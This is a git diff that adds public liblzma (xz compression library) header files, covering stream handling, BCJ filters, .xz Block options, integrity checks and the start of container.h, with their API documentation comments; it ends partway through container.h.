* Typical usage: + * + * - After allocating lzma_stream (on stack or with malloc()), it must be + * initialized to LZMA_STREAM_INIT (see LZMA_STREAM_INIT for details). + * + * - Initialize a coder to the lzma_stream, for example by using + * lzma_easy_encoder() or lzma_auto_decoder(). Some notes: + * - In contrast to zlib, strm->next_in and strm->next_out are + * ignored by all initialization functions, thus it is safe + * to not initialize them yet. + * - The initialization functions always set strm->total_in and + * strm->total_out to zero. + * - If the initialization function fails, no memory is left allocated + * that would require freeing with lzma_end() even if some memory was + * associated with the lzma_stream structure when the initialization + * function was called. + * + * - Use lzma_code() to do the actual work. + * + * - Once the coding has been finished, the existing lzma_stream can be + * reused. It is OK to reuse lzma_stream with different initialization + * function without calling lzma_end() first. Old allocations are + * automatically freed. + * + * - Finally, use lzma_end() to free the allocated memory. lzma_end() never + * frees the lzma_stream structure itself. + * + * Application may modify the values of total_in and total_out as it wants. + * They are updated by liblzma to match the amount of data read and + * written, but aren't used for anything else. + */ +typedef struct { + const uint8_t *next_in; /**< Pointer to the next input byte. */ + size_t avail_in; /**< Number of available input bytes in next_in. */ + uint64_t total_in; /**< Total number of bytes read by liblzma. */ + + uint8_t *next_out; /**< Pointer to the next output position. */ + size_t avail_out; /**< Amount of free space in next_out. */ + uint64_t total_out; /**< Total number of bytes written by liblzma. */ + + /** + * \brief Custom memory allocation functions + * + * In most cases this is NULL which makes liblzma use + * the standard malloc() and free(). + */ + lzma_allocator *allocator; + + /** Internal state is not visible to applications. */ + lzma_internal *internal; + + /* + * Reserved space to allow possible future extensions without + * breaking the ABI. Excluding the initialization of this structure, + * you should not touch these, because the names of these variables + * may change. + */ + void *reserved_ptr1; + void *reserved_ptr2; + uint64_t reserved_int1; + uint64_t reserved_int2; + lzma_reserved_enum reserved_enum1; + lzma_reserved_enum reserved_enum2; + +} lzma_stream; + + +/** + * \brief Initialization for lzma_stream + * + * When you declare an instance of lzma_stream, you can immediatelly + * initialize it so that initialization functions know that no memory + * has been allocated yet: + * + * lzma_stream strm = LZMA_STREAM_INIT; + * + * If you need to initialize a dynamically allocated lzma_stream, you can use + * memset(strm_pointer, 0, sizeof(lzma_stream)). Strictly speaking, this + * violates the C standard since NULL may have different internal + * representation than zero, but it should be portable enough in practice. + * Anyway, for maximum portability, you can use something like this: + * + * lzma_stream tmp = LZMA_STREAM_INIT; + * *strm = tmp; + */ +#define LZMA_STREAM_INIT \ + { NULL, 0, 0, NULL, 0, 0, NULL, NULL, \ + NULL, NULL, 0, 0, LZMA_RESERVED_ENUM, LZMA_RESERVED_ENUM } + + +/** + * \brief Encode or decode data + * + * Once the lzma_stream has been successfully initialized (e.g. with + * lzma_stream_encoder()), the actual encoding or decoding is done + * using this function. The application has to update strm->next_in, + * strm->avail_in, strm->next_out, and strm->avail_out to pass input + * to and get output from liblzma. + * + * See the description of the coder-specific initialization function to find + * out what `action' values are supported by the coder. + */ +extern LZMA_API(lzma_ret) lzma_code(lzma_stream *strm, lzma_action action) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Free memory allocated for the coder data structures + * + * \param strm Pointer to lzma_stream that is at least initialized + * with LZMA_STREAM_INIT. + * + * After lzma_end(strm), strm->internal is guaranteed to be NULL. No other + * members of the lzma_stream structure are touched. + * + * \note zlib indicates an error if application end()s unfinished + * stream structure. liblzma doesn't do this, and assumes that + * application knows what it is doing. + */ +extern LZMA_API(void) lzma_end(lzma_stream *strm) lzma_nothrow; + + +/** + * \brief Get the memory usage of decoder filter chain + * + * This function is currently supported only when *strm has been initialized + * with a function that takes a memlimit argument. With other functions, you + * should use e.g. lzma_raw_encoder_memusage() or lzma_raw_decoder_memusage() + * to estimate the memory requirements. + * + * This function is useful e.g. after LZMA_MEMLIMIT_ERROR to find out how big + * the memory usage limit should have been to decode the input. Note that + * this may give misleading information if decoding .xz Streams that have + * multiple Blocks, because each Block can have different memory requirements. + * + * \return Rough estimate of how much memory is currently allocated + * for the filter decoders. If no filter chain is currently + * allocated, some non-zero value is still returned, which is + * less than or equal to what any filter chain would indicate + * as its memory requirement. + * + * If this function isn't supported by *strm or some other error + * occurs, zero is returned. + */ +extern LZMA_API(uint64_t) lzma_memusage(const lzma_stream *strm) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Get the current memory usage limit + * + * This function is supported only when *strm has been initialized with + * a function that takes a memlimit argument. + * + * \return On success, the current memory usage limit is returned + * (always non-zero). On error, zero is returned. + */ +extern LZMA_API(uint64_t) lzma_memlimit_get(const lzma_stream *strm) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Set the memory usage limit + * + * This function is supported only when *strm has been initialized with + * a function that takes a memlimit argument. + * + * \return - LZMA_OK: New memory usage limit successfully set. + * - LZMA_MEMLIMIT_ERROR: The new limit is too small. + * The limit was not changed. + * - LZMA_PROG_ERROR: Invalid arguments, e.g. *strm doesn't + * support memory usage limit or memlimit was zero. + */ +extern LZMA_API(lzma_ret) lzma_memlimit_set( + lzma_stream *strm, uint64_t memlimit) lzma_nothrow; diff --git a/igor/xz/lzma/bcj.h b/igor/xz/lzma/bcj.h new file mode 100644 index 0000000..274bf6c --- /dev/null +++ b/igor/xz/lzma/bcj.h @@ -0,0 +1,90 @@ +/** + * \file lzma/bcj.h + * \brief Branch/Call/Jump conversion filters + */ + +/* + * Author: Lasse Collin + * + * This file has been put into the public domain. + * You can do whatever you want with this file. + * + * See ../lzma.h for information about liblzma as a whole. + */ + +#ifndef LZMA_H_INTERNAL +# error Never include this file directly. Use instead. +#endif + + +/* Filter IDs for lzma_filter.id */ + +#define LZMA_FILTER_X86 LZMA_VLI_C(0x04) + /**< + * Filter for x86 binaries + */ + +#define LZMA_FILTER_POWERPC LZMA_VLI_C(0x05) + /**< + * Filter for Big endian PowerPC binaries + */ + +#define LZMA_FILTER_IA64 LZMA_VLI_C(0x06) + /**< + * Filter for IA64 (Itanium) binaries. + */ + +#define LZMA_FILTER_ARM LZMA_VLI_C(0x07) + /**< + * Filter for ARM binaries. + */ + +#define LZMA_FILTER_ARMTHUMB LZMA_VLI_C(0x08) + /**< + * Filter for ARMThumb binaries. + */ + +#define LZMA_FILTER_SPARC LZMA_VLI_C(0x09) + /**< + * Filter for SPARC binaries. + */ + + +/** + * \brief Options for BCJ filters + * + * The BCJ filters never change the size of the data. Specifying options + * for them is optional: if pointer to options is NULL, default value is + * used. You probably never need to specify options to BCJ filters, so just + * set the options pointer to NULL and be happy. + * + * If options with non-default values have been specified when encoding, + * the same options must also be specified when decoding. + * + * \note At the moment, none of the BCJ filters support + * LZMA_SYNC_FLUSH. If LZMA_SYNC_FLUSH is specified, + * LZMA_OPTIONS_ERROR will be returned. If there is need, + * partial support for LZMA_SYNC_FLUSH can be added in future. + * Partial means that flushing would be possible only at + * offsets that are multiple of 2, 4, or 16 depending on + * the filter, except x86 which cannot be made to support + * LZMA_SYNC_FLUSH predictably. + */ +typedef struct { + /** + * \brief Start offset for conversions + * + * This setting is useful only when the same filter is used + * _separately_ for multiple sections of the same executable file, + * and the sections contain cross-section branch/call/jump + * instructions. In that case it is benefical to set the start + * offset of the non-first sections so that the relative addresses + * of the cross-section branch/call/jump instructions will use the + * same absolute addresses as in the first section. + * + * When the pointer to options is NULL, the default value (zero) + * is used. + */ + uint32_t start_offset; + +} lzma_options_bcj; diff --git a/igor/xz/lzma/block.h b/igor/xz/lzma/block.h new file mode 100644 index 0000000..10e9744 --- /dev/null +++ b/igor/xz/lzma/block.h @@ -0,0 +1,534 @@ +/** + * \file lzma/block.h + * \brief .xz Block handling + */ + +/* + * Author: Lasse Collin + * + * This file has been put into the public domain. + * You can do whatever you want with this file. + * + * See ../lzma.h for information about liblzma as a whole. + */ + +#ifndef LZMA_H_INTERNAL +# error Never include this file directly. Use instead. +#endif + + +/** + * \brief Options for the Block and Block Header encoders and decoders + * + * Different Block handling functions use different parts of this structure. + * Some read some members, other functions write, and some do both. Only the + * members listed for reading need to be initialized when the specified + * functions are called. The members marked for writing will be assigned + * new values at some point either by calling the given function or by + * later calls to lzma_code(). + */ +typedef struct { + /** + * \brief Block format version + * + * To prevent API and ABI breakages if new features are needed in + * Block, a version number is used to indicate which fields in this + * structure are in use. For now, version must always be zero. + * With non-zero version, most Block related functions will return + * LZMA_OPTIONS_ERROR. + * + * The decoding functions will always set this to the lowest value + * that supports all the features indicated by the Block Header field. + * The application must check that the version number set by the + * decoding functions is supported by the application. Otherwise it + * is possible that the application will decode the Block incorrectly. + * + * Read by: + * - lzma_block_header_size() + * - lzma_block_header_encode() + * - lzma_block_compressed_size() + * - lzma_block_unpadded_size() + * - lzma_block_total_size() + * - lzma_block_encoder() + * - lzma_block_decoder() + * - lzma_block_buffer_encode() + * - lzma_block_buffer_decode() + * + * Written by: + * - lzma_block_header_decode() + */ + uint32_t version; + + /** + * \brief Size of the Block Header field + * + * This is always a multiple of four. + * + * Read by: + * - lzma_block_header_encode() + * - lzma_block_header_decode() + * - lzma_block_compressed_size() + * - lzma_block_unpadded_size() + * - lzma_block_total_size() + * - lzma_block_decoder() + * - lzma_block_buffer_decode() + * + * Written by: + * - lzma_block_header_size() + * - lzma_block_buffer_encode() + */ + uint32_t header_size; +# define LZMA_BLOCK_HEADER_SIZE_MIN 8 +# define LZMA_BLOCK_HEADER_SIZE_MAX 1024 + + /** + * \brief Type of integrity Check + * + * The Check ID is not stored into the Block Header, thus its value + * must be provided also when decoding. + * + * Read by: + * - lzma_block_header_encode() + * - lzma_block_header_decode() + * - lzma_block_compressed_size() + * - lzma_block_unpadded_size() + * - lzma_block_total_size() + * - lzma_block_encoder() + * - lzma_block_decoder() + * - lzma_block_buffer_encode() + * - lzma_block_buffer_decode() + */ + lzma_check check; + + /** + * \brief Size of the Compressed Data in bytes + * + * Encoding: If this is not LZMA_VLI_UNKNOWN, Block Header encoder + * will store this value to the Block Header. Block encoder doesn't + * care about this value, but will set it once the encoding has been + * finished. + * + * Decoding: If this is not LZMA_VLI_UNKNOWN, Block decoder will + * verify that the size of the Compressed Data field matches + * compressed_size. + * + * Usually you don't know this value when encoding in streamed mode, + * and thus cannot write this field into the Block Header. + * + * In non-streamed mode you can reserve space for this field before + * encoding the actual Block. After encoding the data, finish the + * Block by encoding the Block Header. Steps in detail: + * + * - Set compressed_size to some big enough value. If you don't know + * better, use LZMA_VLI_MAX, but remember that bigger values take + * more space in Block Header. + * + * - Call lzma_block_header_size() to see how much space you need to + * reserve for the Block Header. + * + * - Encode the Block using lzma_block_encoder() and lzma_code(). + * It sets compressed_size to the correct value. + * + * - Use lzma_block_header_encode() to encode the Block Header. + * Because space was reserved in the first step, you don't need + * to call lzma_block_header_size() anymore, because due to + * reserving, header_size has to be big enough. If it is "too big", + * lzma_block_header_encode() will add enough Header Padding to + * make Block Header to match the size specified by header_size. + * + * Read by: + * - lzma_block_header_size() + * - lzma_block_header_encode() + * - lzma_block_compressed_size() + * - lzma_block_unpadded_size() + * - lzma_block_total_size() + * - lzma_block_decoder() + * - lzma_block_buffer_decode() + * + * Written by: + * - lzma_block_header_decode() + * - lzma_block_compressed_size() + * - lzma_block_encoder() + * - lzma_block_decoder() + * - lzma_block_buffer_encode() + * - lzma_block_buffer_decode() + */ + lzma_vli compressed_size; + + /** + * \brief Uncompressed Size in bytes + * + * This is handled very similarly to compressed_size above. + * + * uncompressed_size is needed by fewer functions than + * compressed_size. This is because uncompressed_size isn't + * needed to validate that Block stays within proper limits. + * + * Read by: + * - lzma_block_header_size() + * - lzma_block_header_encode() + * - lzma_block_decoder() + * - lzma_block_buffer_decode() + * + * Written by: + * - lzma_block_header_decode() + * - lzma_block_encoder() + * - lzma_block_decoder() + * - lzma_block_buffer_encode() + * - lzma_block_buffer_decode() + */ + lzma_vli uncompressed_size; + + /** + * \brief Array of filters + * + * There can be 1-4 filters. The end of the array is marked with + * .id = LZMA_VLI_UNKNOWN. + * + * Read by: + * - lzma_block_header_size() + * - lzma_block_header_encode() + * - lzma_block_encoder() + * - lzma_block_decoder() + * - lzma_block_buffer_encode() + * - lzma_block_buffer_decode() + * + * Written by: + * - lzma_block_header_decode(): Note that this does NOT free() + * the old filter options structures. All unused filters[] will + * have .id == LZMA_VLI_UNKNOWN and .options == NULL. If + * decoding fails, all filters[] are guaranteed to be + * LZMA_VLI_UNKNOWN and NULL. + * + * \note Because of the array is terminated with + * .id = LZMA_VLI_UNKNOWN, the actual array must + * have LZMA_FILTERS_MAX + 1 members or the Block + * Header decoder will overflow the buffer. + */ + lzma_filter *filters; + + /** + * \brief Raw value stored in the Check field + * + * After successful coding, the first lzma_check_size(check) bytes + * of this array contain the raw value stored in the Check field. + * + * Note that CRC32 and CRC64 are stored in little endian byte order. + * Take it into account if you display the Check values to the user. + * + * Written by: + * - lzma_block_encoder() + * - lzma_block_decoder() + * - lzma_block_buffer_encode() + * - lzma_block_buffer_decode() + */ + uint8_t raw_check[LZMA_CHECK_SIZE_MAX]; + + /* + * Reserved space to allow possible future extensions without + * breaking the ABI. You should not touch these, because the names + * of these variables may change. These are and will never be used + * with the currently supported options, so it is safe to leave these + * uninitialized. + */ + void *reserved_ptr1; + void *reserved_ptr2; + void *reserved_ptr3; + uint32_t reserved_int1; + uint32_t reserved_int2; + lzma_vli reserved_int3; + lzma_vli reserved_int4; + lzma_vli reserved_int5; + lzma_vli reserved_int6; + lzma_vli reserved_int7; + lzma_vli reserved_int8; + lzma_reserved_enum reserved_enum1; + lzma_reserved_enum reserved_enum2; + lzma_reserved_enum reserved_enum3; + lzma_reserved_enum reserved_enum4; + lzma_bool reserved_bool1; + lzma_bool reserved_bool2; + lzma_bool reserved_bool3; + lzma_bool reserved_bool4; + lzma_bool reserved_bool5; + lzma_bool reserved_bool6; + lzma_bool reserved_bool7; + lzma_bool reserved_bool8; + +} lzma_block; + + +/** + * \brief Decode the Block Header Size field + * + * To decode Block Header using lzma_block_header_decode(), the size of the + * Block Header has to be known and stored into lzma_block.header_size. + * The size can be calculated from the first byte of a Block using this macro. + * Note that if the first byte is 0x00, it indicates beginning of Index; use + * this macro only when the byte is not 0x00. + * + * There is no encoding macro, because Block Header encoder is enough for that. + */ +#define lzma_block_header_size_decode(b) (((uint32_t)(b) + 1) * 4) + + +/** + * \brief Calculate Block Header Size + * + * Calculate the minimum size needed for the Block Header field using the + * settings specified in the lzma_block structure. Note that it is OK to + * increase the calculated header_size value as long as it is a multiple of + * four and doesn't exceed LZMA_BLOCK_HEADER_SIZE_MAX. Increasing header_size + * just means that lzma_block_header_encode() will add Header Padding. + * + * \return - LZMA_OK: Size calculated successfully and stored to + * block->header_size. + * - LZMA_OPTIONS_ERROR: Unsupported version, filters or + * filter options. + * - LZMA_PROG_ERROR: Invalid values like compressed_size == 0. + * + * \note This doesn't check that all the options are valid i.e. this + * may return LZMA_OK even if lzma_block_header_encode() or + * lzma_block_encoder() would fail. If you want to validate the + * filter chain, consider using lzma_memlimit_encoder() which as + * a side-effect validates the filter chain. + */ +extern LZMA_API(lzma_ret) lzma_block_header_size(lzma_block *block) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Encode Block Header + * + * The caller must have calculated the size of the Block Header already with + * lzma_block_header_size(). If a value larger than the one calculated by + * lzma_block_header_size() is used, the Block Header will be padded to the + * specified size. + * + * \param out Beginning of the output buffer. This must be + * at least block->header_size bytes. + * \param block Block options to be encoded. + * + * \return - LZMA_OK: Encoding was successful. block->header_size + * bytes were written to output buffer. + * - LZMA_OPTIONS_ERROR: Invalid or unsupported options. + * - LZMA_PROG_ERROR: Invalid arguments, for example + * block->header_size is invalid or block->filters is NULL. + */ +extern LZMA_API(lzma_ret) lzma_block_header_encode( + const lzma_block *block, uint8_t *out) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Decode Block Header + * + * The size of the Block Header must have already been decoded with + * lzma_block_header_size_decode() macro and stored to block->header_size. + * block->filters must have been allocated, but not necessarily initialized. + * Possible existing filter options are _not_ freed. + * + * \param block Destination for block options with header_size + * properly initialized. + * \param allocator lzma_allocator for custom allocator functions. + * Set to NULL to use malloc() (and also free() + * if an error occurs). + * \param in Beginning of the input buffer. This must be + * at least block->header_size bytes. + * + * \return - LZMA_OK: Decoding was successful. block->header_size + * bytes were read from the input buffer. + * - LZMA_OPTIONS_ERROR: The Block Header specifies some + * unsupported options such as unsupported filters. + * - LZMA_DATA_ERROR: Block Header is corrupt, for example, + * the CRC32 doesn't match. + * - LZMA_PROG_ERROR: Invalid arguments, for example + * block->header_size is invalid or block->filters is NULL. + */ +extern LZMA_API(lzma_ret) lzma_block_header_decode(lzma_block *block, + lzma_allocator *allocator, const uint8_t *in) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Validate and set Compressed Size according to Unpadded Size + * + * Block Header stores Compressed Size, but Index has Unpadded Size. If the + * application has already parsed the Index and is now decoding Blocks, + * it can calculate Compressed Size from Unpadded Size. This function does + * exactly that with error checking: + * + * - Compressed Size calculated from Unpadded Size must be positive integer, + * that is, Unpadded Size must be big enough that after Block Header and + * Check fields there's still at least one byte for Compressed Size. + * + * - If Compressed Size was present in Block Header, the new value + * calculated from Unpadded Size is compared against the value + * from Block Header. + * + * \note This function must be called _after_ decoding the Block Header + * field so that it can properly validate Compressed Size if it + * was present in Block Header. + * + * \return - LZMA_OK: block->compressed_size was set successfully. + * - LZMA_DATA_ERROR: unpadded_size is too small compared to + * block->header_size and lzma_check_size(block->check). + * - LZMA_PROG_ERROR: Some values are invalid. For example, + * block->header_size must be a multiple of four and + * between 8 and 1024 inclusive. + */ +extern LZMA_API(lzma_ret) lzma_block_compressed_size( + lzma_block *block, lzma_vli unpadded_size) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Calculate Unpadded Size + * + * The Index field stores Unpadded Size and Uncompressed Size. The latter + * can be taken directly from the lzma_block structure after coding a Block, + * but Unpadded Size needs to be calculated from Block Header Size, + * Compressed Size, and size of the Check field. This is where this function + * is needed. + * + * \return Unpadded Size on success, or zero on error. + */ +extern LZMA_API(lzma_vli) lzma_block_unpadded_size(const lzma_block *block) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Calculate the total encoded size of a Block + * + * This is equivalent to lzma_block_unpadded_size() except that the returned + * value includes the size of the Block Padding field. + * + * \return On success, total encoded size of the Block. On error, + * zero is returned. + */ +extern LZMA_API(lzma_vli) lzma_block_total_size(const lzma_block *block) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Initialize .xz Block encoder + * + * Valid actions for lzma_code() are LZMA_RUN, LZMA_SYNC_FLUSH (only if the + * filter chain supports it), and LZMA_FINISH. + * + * \return - LZMA_OK: All good, continue with lzma_code(). + * - LZMA_MEM_ERROR + * - LZMA_OPTIONS_ERROR + * - LZMA_UNSUPPORTED_CHECK: block->check specfies a Check ID + * that is not supported by this buid of liblzma. Initializing + * the encoder failed. + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_block_encoder( + lzma_stream *strm, lzma_block *block) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Initialize .xz Block decoder + * + * Valid actions for lzma_code() are LZMA_RUN and LZMA_FINISH. Using + * LZMA_FINISH is not required. It is supported only for convenience. + * + * \return - LZMA_OK: All good, continue with lzma_code(). + * - LZMA_UNSUPPORTED_CHECK: Initialization was successful, but + * the given Check ID is not supported, thus Check will be + * ignored. + * - LZMA_PROG_ERROR + * - LZMA_MEM_ERROR + */ +extern LZMA_API(lzma_ret) lzma_block_decoder( + lzma_stream *strm, lzma_block *block) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Calculate maximum output size for single-call Block encoding + * + * This is equivalent to lzma_stream_buffer_bound() but for .xz Blocks. + * See the documentation of lzma_stream_buffer_bound(). + */ +extern LZMA_API(size_t) lzma_block_buffer_bound(size_t uncompressed_size) + lzma_nothrow; + + +/** + * \brief Single-call .xz Block encoder + * + * In contrast to the multi-call encoder initialized with + * lzma_block_encoder(), this function encodes also the Block Header. This + * is required to make it possible to write appropriate Block Header also + * in case the data isn't compressible, and different filter chain has to be + * used to encode the data in uncompressed form using uncompressed chunks + * of the LZMA2 filter. + * + * When the data isn't compressible, header_size, compressed_size, and + * uncompressed_size are set just like when the data was compressible, but + * it is possible that header_size is too small to hold the filter chain + * specified in block->filters, because that isn't necessarily the filter + * chain that was actually used to encode the data. lzma_block_unpadded_size() + * still works normally, because it doesn't read the filters array. + * + * \param block Block options: block->version, block->check, + * and block->filters must have been initialized. + * \param allocator lzma_allocator for custom allocator functions. + * Set to NULL to use malloc() and free(). + * \param in Beginning of the input buffer + * \param in_size Size of the input buffer + * \param out Beginning of the output buffer + * \param out_pos The next byte will be written to out[*out_pos]. + * *out_pos is updated only if encoding succeeds. + * \param out_size Size of the out buffer; the first byte into + * which no data is written to is out[out_size]. + * + * \return - LZMA_OK: Encoding was successful. + * - LZMA_BUF_ERROR: Not enough output buffer space. + * - LZMA_OPTIONS_ERROR + * - LZMA_MEM_ERROR + * - LZMA_DATA_ERROR + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_block_buffer_encode( + lzma_block *block, lzma_allocator *allocator, + const uint8_t *in, size_t in_size, + uint8_t *out, size_t *out_pos, size_t out_size) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Single-call .xz Block decoder + * + * This is single-call equivalent of lzma_block_decoder(), and requires that + * the caller has already decoded Block Header and checked its memory usage. + * + * \param block Block options just like with lzma_block_decoder(). + * \param allocator lzma_allocator for custom allocator functions. + * Set to NULL to use malloc() and free(). + * \param in Beginning of the input buffer + * \param in_pos The next byte will be read from in[*in_pos]. + * *in_pos is updated only if decoding succeeds. + * \param in_size Size of the input buffer; the first byte that + * won't be read is in[in_size]. + * \param out Beginning of the output buffer + * \param out_pos The next byte will be written to out[*out_pos]. + * *out_pos is updated only if encoding succeeds. + * \param out_size Size of the out buffer; the first byte into + * which no data is written to is out[out_size]. + * + * \return - LZMA_OK: Decoding was successful. + * - LZMA_OPTIONS_ERROR + * - LZMA_DATA_ERROR + * - LZMA_MEM_ERROR + * - LZMA_BUF_ERROR: Output buffer was too small. + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_block_buffer_decode( + lzma_block *block, lzma_allocator *allocator, + const uint8_t *in, size_t *in_pos, size_t in_size, + uint8_t *out, size_t *out_pos, size_t out_size) + lzma_nothrow; diff --git a/igor/xz/lzma/check.h b/igor/xz/lzma/check.h new file mode 100644 index 0000000..5661bbe --- /dev/null +++ b/igor/xz/lzma/check.h @@ -0,0 +1,150 @@ +/** + * \file lzma/check.h + * \brief Integrity checks + */ + +/* + * Author: Lasse Collin + * + * This file has been put into the public domain. + * You can do whatever you want with this file. + * + * See ../lzma.h for information about liblzma as a whole. + */ + +#ifndef LZMA_H_INTERNAL +# error Never include this file directly. Use instead. +#endif + + +/** + * \brief Type of the integrity check (Check ID) + * + * The .xz format supports multiple types of checks that are calculated + * from the uncompressed data. They vary in both speed and ability to + * detect errors. + */ +typedef enum { + LZMA_CHECK_NONE = 0, + /**< + * No Check is calculated. + * + * Size of the Check field: 0 bytes + */ + + LZMA_CHECK_CRC32 = 1, + /**< + * CRC32 using the polynomial from the IEEE 802.3 standard + * + * Size of the Check field: 4 bytes + */ + + LZMA_CHECK_CRC64 = 4, + /**< + * CRC64 using the polynomial from the ECMA-182 standard + * + * Size of the Check field: 8 bytes + */ + + LZMA_CHECK_SHA256 = 10 + /**< + * SHA-256 + * + * Size of the Check field: 32 bytes + */ +} lzma_check; + + +/** + * \brief Maximum valid Check ID + * + * The .xz file format specification specifies 16 Check IDs (0-15). Some + * of them are only reserved, that is, no actual Check algorithm has been + * assigned. When decoding, liblzma still accepts unknown Check IDs for + * future compatibility. If a valid but unsupported Check ID is detected, + * liblzma can indicate a warning; see the flags LZMA_TELL_NO_CHECK, + * LZMA_TELL_UNSUPPORTED_CHECK, and LZMA_TELL_ANY_CHECK in container.h. + */ +#define LZMA_CHECK_ID_MAX 15 + + +/** + * \brief Test if the given Check ID is supported + * + * Return true if the given Check ID is supported by this liblzma build. + * Otherwise false is returned. It is safe to call this with a value that + * is not in the range [0, 15]; in that case the return value is always false. + * + * You can assume that LZMA_CHECK_NONE and LZMA_CHECK_CRC32 are always + * supported (even if liblzma is built with limited features). + */ +extern LZMA_API(lzma_bool) lzma_check_is_supported(lzma_check check) + lzma_nothrow lzma_attr_const; + + +/** + * \brief Get the size of the Check field with the given Check ID + * + * Although not all Check IDs have a check algorithm associated, the size of + * every Check is already frozen. This function returns the size (in bytes) of + * the Check field with the specified Check ID. The values are: + * { 0, 4, 4, 4, 8, 8, 8, 16, 16, 16, 32, 32, 32, 64, 64, 64 } + * + * If the argument is not in the range [0, 15], UINT32_MAX is returned. + */ +extern LZMA_API(uint32_t) lzma_check_size(lzma_check check) + lzma_nothrow lzma_attr_const; + + +/** + * \brief Maximum size of a Check field + */ +#define LZMA_CHECK_SIZE_MAX 64 + + +/** + * \brief Calculate CRC32 + * + * Calculate CRC32 using the polynomial from the IEEE 802.3 standard. + * + * \param buf Pointer to the input buffer + * \param size Size of the input buffer + * \param crc Previously returned CRC value. This is used to + * calculate the CRC of a big buffer in smaller chunks. + * Set to zero when starting a new calculation. + * + * \return Updated CRC value, which can be passed to this function + * again to continue CRC calculation. + */ +extern LZMA_API(uint32_t) lzma_crc32( + const uint8_t *buf, size_t size, uint32_t crc) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Calculate CRC64 + * + * Calculate CRC64 using the polynomial from the ECMA-182 standard. + * + * This function is used similarly to lzma_crc32(). See its documentation. + */ +extern LZMA_API(uint64_t) lzma_crc64( + const uint8_t *buf, size_t size, uint64_t crc) + lzma_nothrow lzma_attr_pure; + + +/* + * SHA-256 functions are currently not exported to public API. + * Contact Lasse Collin if you think it should be. + */ + + +/** + * \brief Get the type of the integrity check + * + * This function can be called only immediatelly after lzma_code() has + * returned LZMA_NO_CHECK, LZMA_UNSUPPORTED_CHECK, or LZMA_GET_CHECK. + * Calling this function in any other situation has undefined behavior. + */ +extern LZMA_API(lzma_check) lzma_get_check(const lzma_stream *strm) + lzma_nothrow; diff --git a/igor/xz/lzma/container.h b/igor/xz/lzma/container.h new file mode 100644 index 0000000..0d90765 --- /dev/null +++ b/igor/xz/lzma/container.h @@ -0,0 +1,404 @@ +/** + * \file lzma/container.h + * \brief File formats + */ + +/* + * Author: Lasse Collin + * + * This file has been put into the public domain. + * You can do whatever you want with this file. + * + * See ../lzma.h for information about liblzma as a whole. + */ + +#ifndef LZMA_H_INTERNAL +# error Never include this file directly. Use instead. +#endif + + +/************ + * Encoding * + ************/ + +/** + * \brief Default compression preset + * + * It's not straightforward to recommend a default preset, because in some + * cases keeping the resource usage relatively low is more important that + * getting the maximum compression ratio. + */ +#define LZMA_PRESET_DEFAULT UINT32_C(6) + + +/** + * \brief Mask for preset level + * + * This is useful only if you need to extract the level from the preset + * variable. That should be rare. + */ +#define LZMA_PRESET_LEVEL_MASK UINT32_C(0x1F) + + +/* + * Preset flags + * + * Currently only one flag is defined. + */ + +/** + * \brief Extreme compression preset + * + * This flag modifies the preset to make the encoding significantly slower + * while improving the compression ratio only marginally. This is useful + * when you don't mind wasting time to get as small result as possible. + * + * This flag doesn't affect the memory usage requirements of the decoder (at + * least not significantly). The memory usage of the encoder may be increased + * a little but only at the lowest preset levels (0-2). + */ +#define LZMA_PRESET_EXTREME (UINT32_C(1) << 31) + + +/** + * \brief Calculate rough memory usage of easy encoder + * + * This function is a wrapper for lzma_raw_encoder_memusage(). + * + * \param preset Compression preset (level and possible flags) + */ +extern LZMA_API(uint64_t) lzma_easy_encoder_memusage(uint32_t preset) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Calculate rough decoder memory usage of a preset + * + * This function is a wrapper for lzma_raw_decoder_memusage(). + * + * \param preset Compression preset (level and possible flags) + */ +extern LZMA_API(uint64_t) lzma_easy_decoder_memusage(uint32_t preset) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Initialize .xz Stream encoder using a preset number + * + * This function is intended for those who just want to use the basic features + * if liblzma (that is, most developers out there). + * + * \param strm Pointer to lzma_stream that is at least initialized + * with LZMA_STREAM_INIT. + * \param preset Compression preset to use. A preset consist of level + * number and zero or more flags. Usually flags aren't + * used, so preset is simply a number [0, 9] which match + * the options -0 .. -9 of the xz command line tool. + * Additional flags can be be set using bitwise-or with + * the preset level number, e.g. 6 | LZMA_PRESET_EXTREME. + * \param check Integrity check type to use. See check.h for available + * checks. If you are unsure, use LZMA_CHECK_CRC32. + * + * \return - LZMA_OK: Initialization succeeded. Use lzma_code() to + * encode your data. + * - LZMA_MEM_ERROR: Memory allocation failed. + * - LZMA_OPTIONS_ERROR: The given compression level is not + * supported by this build of liblzma. + * - LZMA_UNSUPPORTED_CHECK: The given check type is not + * supported by this liblzma build. + * - LZMA_PROG_ERROR: One or more of the parameters have values + * that will never be valid. For example, strm == NULL. + * + * If initialization fails (return value is not LZMA_OK), all the memory + * allocated for *strm by liblzma is always freed. Thus, there is no need + * to call lzma_end() after failed initialization. + * + * If initialization succeeds, use lzma_code() to do the actual encoding. + * Valid values for `action' (the second argument of lzma_code()) are + * LZMA_RUN, LZMA_SYNC_FLUSH, LZMA_FULL_FLUSH, and LZMA_FINISH. In future, + * there may be compression levels or flags that don't support LZMA_SYNC_FLUSH. + */ +extern LZMA_API(lzma_ret) lzma_easy_encoder( + lzma_stream *strm, uint32_t preset, lzma_check check) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Single-call .xz Stream encoding using a preset number + * + * The maximum required output buffer size can be calculated with + * lzma_stream_buffer_bound(). + * + * \param preset Compression preset to use. See the description + * in lzma_easy_encoder(). + * \param check Type of the integrity check to calculate from + * 